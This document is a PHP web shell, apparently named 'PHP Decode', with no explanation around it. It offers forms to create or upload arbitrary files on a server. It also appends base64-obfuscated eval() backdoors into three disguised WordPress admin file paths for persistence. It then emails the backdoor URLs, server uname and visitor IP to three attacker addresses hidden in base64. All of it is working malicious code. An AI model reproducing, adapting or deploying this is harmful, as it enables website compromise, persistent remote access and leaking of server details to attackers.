PHP Decode

$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '<br>'.php_uname().'<br>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="sohai.php">';
echo '<input name="_create" type="submit" id="_upl" value="Create">';
echo '<input type="file" name="file" size="30"><input type="text" name="ufile" size="10" value="sohai.php">';
echo '<input name="_upload" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_create']){
    $handle = fopen($cfile, 'w');
    if($handle){
        if (fwrite($handle, $content) === FALSE) { echo "Create $cfile GAGAL<br>"; }
        else { echo "Create $cfile SUKSES !!!<br>"; } fclose($handle);
    } else { echo 'Create File GAGAL<br><br>'; }
}
if($_POST['_upload']){
    if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "Upload $ufile SUKSES !!!<br><br>"; }
    else { echo "Upload $ufile GAGAL !!!<br><br>"; }
}
$path1 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/includes/class-wp-filesystem-intext.php';$path2 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/network/plugin-function.php';$path3 = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/user/info.php';$content1 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?>";$content2 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?>";$content3 = "<?php eval(base64_decode('ZWNobyAnPGI+U29oYWkgUHJpdmF0ZSB1cGxvYWRlcjwvYj4nOwplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPC9iPic7CmVjaG8gJzxwcmU+PD9waHAgc3lzdGVtKCJscyAtbGEiKTs/PjwvcHJlPic7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7ZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkge2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0JZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPic7IH0KfQ=='));?> ";$txt = fopen($path1,"a+");fwrite($txt, $content1);$txt = fopen($path2,"a+");fwrite($txt, $content2);$txt = fopen($path3,"a+");fwrite($txt, $content3);fclose($txt);$info = base64_decode("bWFpbGxpc3Q1N0B5bWFpbC5jb20=");$info2 = base64_decode("c29oYWluZXdiaWVAeWFob28uY29t");$info3 = base64_decode("c29oYWluZXdiaWVAZ21haWwuY29t");($safe_mode)?($type="ON"):($type="worm-uploader");$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];$base1="http://".$_SERVER['HTTP_HOST'].'/wp-admin/includes/class-wp-filesystem-intext.php';$base2="http://".$_SERVER['HTTP_HOST'].'/wp-admin/network/plugin-function.php';$base3="http://".$_SERVER['HTTP_HOST'].'/wp-admin/user/info.php';$name = php_uname(); $ip = getenv("REMOTE_ADDR");$ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]);$subj = $_SERVER['HTTP_HOST'];$cernel = "
Webackdoor: $base
Uname     : $name
Infection1 : $base1
Infection2 : $base2
Infection3 : $base3
IP: $ip
Host: $ip2 $p_code";$from ="From: ".$writ."_^_".$type."<tool@".$_SERVER['HTTP_HOST'].">";mail( $info,$subj, $cernel, $from);mail( $info2,$subj, $cernel, $from);mail( $info3,$subj, $cernel, $from);